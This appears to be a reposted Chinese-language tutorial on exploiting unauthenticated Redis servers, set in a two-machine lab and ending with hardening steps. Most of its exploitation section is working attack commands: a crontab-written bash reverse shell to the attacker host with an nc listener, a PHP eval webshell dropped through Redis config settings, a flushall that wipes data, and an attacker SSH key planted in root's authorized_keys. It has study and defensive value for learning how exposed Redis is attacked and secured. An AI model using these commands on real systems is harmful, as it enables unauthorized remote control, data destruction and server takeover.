Redis未授權訪問利用|驗證


目錄

  1. 介紹
  2. redis搭建
  3. redis未授權訪問驗證、利用
  4. 漏洞防御

Redis

REmote DIctionary Server(Redis)  是完全開源免費的,遵守BSD協議,Redis是一個由Salvatore Sanfilippo寫的key-value存儲系統。。

 Redis 與其他它key - value 緩存產品有以下三個特點:

  • Redis支持數據的持久化,可以將內存中的數據保存在磁盤中,重啟的時候可以再次加載進行使用。
  • Redis不僅僅支持簡單的key-value類型的數據,同時還提供list,set,zset,hash等數據結構的存儲。
  • Redis支持數據的備份,即master-slave模式的數據備份。

  Redis因配置不當可造成未授權訪問。攻擊者無需通過身份認證便可訪問到內部數據,造成敏感信息泄露,也可以惡意執行flushall來清空所有數據。如果Redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。


 搭建Redis<linux>

>>>下載centos安裝包http://redis.io/download

root@kali:~/桌面# tar -xvf redis-unstable.tar.gz 

>>>編譯安裝

root@kali:~/桌面# cd redis-unstable/
root@kali:~/桌面/redis-unstable# make

>>>啟動redis服務

root@kali:~/桌面/redis-unstable# cd src/

root@kali:~/桌面/redis-unstable/src# ./redis-server ../redis.conf 

redis.conf 是一個默認的配置文件。我們可以根據需要使用自己的配置文件。

啟動redis服務進程后,就可以使用測試客戶端程序redis-cli和redis服務交互了。 比如:

root@kali:~/桌面/redis-unstable/src# ./redis-cli

>>>修改配置文件,使可以遠程訪問:

  bind 127.0.0.1前面加上#號 protected-mode設為no

啟動redis-server

root@kali:~/桌面/redis-unstable/src# ./redis-server


 未授權利用/驗證

驗證未授權訪問漏洞

[這部分內容是重新搭建環境測試]---需要搭建redis作為一個攻擊機192.168.242.131,受攻擊redis服務器192.168.242.134

1.Nmap掃描查看端口開放情況

默認redis使用的6379端口,使用nmap查看端口情況 nmap -A -p 6379 ?script redis-info 192.168.242.134

2.Redis未授權訪問驗證、獲取敏感信息

  Nmap掃描后發現主機的6379端口對外開放,就可以用本地Redis遠程連接服務器(redis在開放往外網的情況下,默認配置下是空口令,端口為6379)連接后可以獲取Redis敏感數據。

這里我使用另一台安裝了redis的centos遠程連接測試

>>>./redis-cli   -h   192.168.242.134

 

1)查看敏感信息

redis 192.168.242.134:6379> info

 

 2)查看key和對應的值

>>>keys  *

 


 漏洞利用

1.利用crontab反彈shell

>>直接向靶機的Crontab寫入任務計划,反彈shell回來

redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save

 

>>然后在攻擊機(192.168.242.131)上啟動 nc 監聽 888端口,等待反彈shell。這過程需要一些時間。

[root@localhost ~]# nc -lvnp 888

 

2.寫入webshell

當自己的redis權限不高時,可以向web里寫入webshell,但需要對方有web服務且有寫入權限。假設靶機里面存在WEB服務並且目錄在 /var/www/ 

redis 192.168.242.134:6379>config set dir /var/www/a

redis 192.168.242.134:6379>config set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

redis 192.168.242.134:6379>config set dbfilename webshell.php

redis 192.168.242.134:6379>save

 

寫入之后訪問目錄看是否存在,如果已經寫入,可以使用菜刀連入數據庫了。

 

3.寫ssh-keygen公鑰然后使用私鑰登陸

>>利用條件:(1)redis對外開放,且是未授權訪問狀態

            (2)redis服務ssh對外開放,可以通過key登入

>>具體利用步驟:

1) 准備好自己的公鑰,寫入本地文件text.txt。

[root@localhost src]#ssh-keygen -t rsa    # 創建秘鑰

[root@localhost src]#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
 
2) 通過redis將該文件寫入內存
[root@localhost src]# ./redis-cli -h 192.168.242.134 flushall
[root@localhost src]# cat test.txt | redis-cli -h 192.168.242.134  -x  set  crackit    #鏈接redis 並將秘鑰上傳
 
3) 利用redis-cli 寫入配置的方式將公鑰寫入到.ssh目錄下
[root@localhost src]# redis-cli -h 192.168.242.134
192.168.242.134:6379> config set dir /root/.ssh/# 切到ssh目錄去
192.168.242.134:6379> config get dir
192.168.242.134:6379> config set dbfilename "authorized_keys"# 保存到 authorized_keys 文件里
192.168.242.134:6379> save ssh -i id_rsa root@192.168.242.134# 保存並登陸
 
  ----------------------------------------------------^--^-------------------------------------------------------

防御方法

到redis安裝目錄下,配置redis.conf文件:
1、默認只對本地開放
bind 127.0.0.1
2、添加登陸密碼

>>修改 redis.conf 文件,添加
requirepass  mypasswd
3、在需要對外開放的時候修改默認端口(端口不重復就可以)
port 2344

4、以低權限運行 Redis 服務(重啟redis才能生效)

>>為 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸

5、最后還可以配合iptables限制開放


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM